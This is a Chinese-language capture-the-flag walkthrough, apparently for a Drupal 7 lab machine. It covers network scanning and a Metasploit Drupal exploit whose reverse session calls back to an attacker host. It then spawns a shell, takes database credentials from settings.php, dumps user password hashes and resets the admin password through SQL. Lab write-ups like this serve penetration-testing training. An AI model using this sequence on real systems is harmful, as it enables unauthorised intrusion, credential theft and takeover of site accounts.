信息收集
1、地址探测
因为我们是在内网环境中所以我们使用arp地址探测
通过arp-scan地址探测,目标主机IP地址为172.30.1.140
arp-scan -l -I eth0
2、Masscan扫描
好处就一个字快
--adapter-ip //指定网段
--rate=1000 //指定发包的速率
-p 1-65535 //对所有端口做扫描
masscan --adapter-ip 172.30.1.20 --rate=1000-p1-65535 172.30.1.140
3、Nmap扫描
-sV 对目标主机进行版本服务扫描
-p- 对目标主机所有端口进行扫描
-T4 对目标主机使用野蛮的扫描(常用)
nmap -sV-p--T4172.30.1.140
得知目标主机开启了22端口,版本为openSSH6.0版本
80端口版本为apache2.2.22版本 目标主机开启了80端口我们可以试着访问一下网站
4、网站信息探测
这是一个Drupal的CMS,Drupal是使用PHP语言编写的开源内容管理框架(CMF)
是基于PHP语言最著名的WEB应用程序
5、HTTP探测
BurpSuite探测Http头部
HTTP代理(Proxy) — 它作为一个 Web 代理服务器运行,并且位于浏览器和目标 Web 服务器之间。这允许拦截、检查和修改在两个方向上通过的原始流量。
通过http的头部我们得到的信息
Server:Apache/2.2.22(Debian)
PHP语言 5.4.45版本
Drupal版本7
浏览器插件
Wappalyzer是一个跨平台的工具,可以揭示网站使用的各种技术。它能够检测内容管理系统(CMS)、电商平台、Web框架、服务器软件、分析工具等。简单来说,就是一键看穿一个网站的底细。
漏洞检测及利用
第一种方法:
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 直接搜索名字可以加版本号
第二种方法:
使用google hacking搜索语法
第三种方法:
使用Metasploitable搜索存在的漏洞并直接利用
使用search 搜索是否有这个版本的漏洞
search drupal 7
找到之后可以使用编号,也可以使用全部名称
use 1
使用options查看该模块的选项
options
RHOSTS代表目标主机
Required中yes是模块中必须有值,no就代表可有可无。
LHOST代表侦听主机,LPORT代表端口号,端口号要根据实际情况而改变。
set给LHOST赋值
set LHOST 172.30.1.20
set给RHOSTS赋值
set RHOSTS 172.30.1.140
exploit启动模块进行攻击
exploit
Metasploitable的基本使用命令
Meterpreter的基本使用命令
列出被渗透主机的系统信息
获取shell
获取交互式SHELL
python -c 'import pty;pty.spawn("/bin/bash")'
列出被渗透主机的网络信息
因没有做环境变量所以我们必须指定完整路径也就是/sbin/ifconfig
/sbin/ifconfig
也可以使用ip a,这个不需要指定完整路径。
列出主机的所有进程
第一个flag
我们查看一下第一个flag,因为每个flag都是下个flag的提示
第二个flag
cat flag1.txt
第一个flag的意思是:每个好的CMS都需要一个配置文件-您也是如此。
也就是提示我们去查看这个CMS的配置文件。因为Drupal是开源的所以我们是可以通过搜索引擎搜到配置文件的路径的。
现在我们已经知道这个配置文件的位置了,我们去访问下看看
已经看到settings.php这个CMS的配置文件了
我们使用vi去查看一下这个脚本
看到这是flag2,从flag2中我们可以看到这是mysql的账号和密码。
第三个flag
那我们尝试登录一下
mysql -udbuser -pRock3t
我们已经成功登录到目标主机的mysql数据库了,我们看一下数据库中有哪些重要的信息。
查看有哪些库
show databases;
我们应该关注这个drupaldb这个表,我们进入这个表中看看。
use drupaldb
show tables;
看到一个users的数据表,这个表中我们通过名字应该能猜测到这个是用户表。
我们看一下这个表
select * from users;
这里用户有两个用户,我们只需要关注admin这个用户,这个应该是网站管理员的账户和密码。
但是我们不知道这个哈希密文的加密方式是什么,我们可以使用工具判断一下。
hashid '$S$DQ06aFS.CROdkZLPcDVcvoiXiyoeROtLXIg28cU1zLkZYUduqHGu'
我们的思路可以从官方文档中查找一些关于drupal7的密码恢复之类的文件。包括官方的文档,也下载源码做代码审计。
Resetting the administrator password with sql-query (Drupal 7) | Drupal.org 这个网址就是Drupal7的官方密码重置方法。
根据这个文档进行更新admin用户的密码
首先再网站根目录下执行 ./scripts/password-hash.sh 123456
./scripts/password-hash.sh 123456
我们首先利用Drupal的加密方式生成123456的加密后的值
我们把这个Hash值先复制下来,然后去mysql中更新密码。
UPDATE users SET pass ='$S$D90Wu0bEVxvinaMEJ3rSubL6QdJp3kKjqu2ZtaUryGXk4bihSFxC' WHERE uid = 1;
看到密码已经更新完成我们去登录一下
这样我们就得到了第三个flag.
版权归原作者 白帽子二三 所有, 如有侵权,请联系我们删除。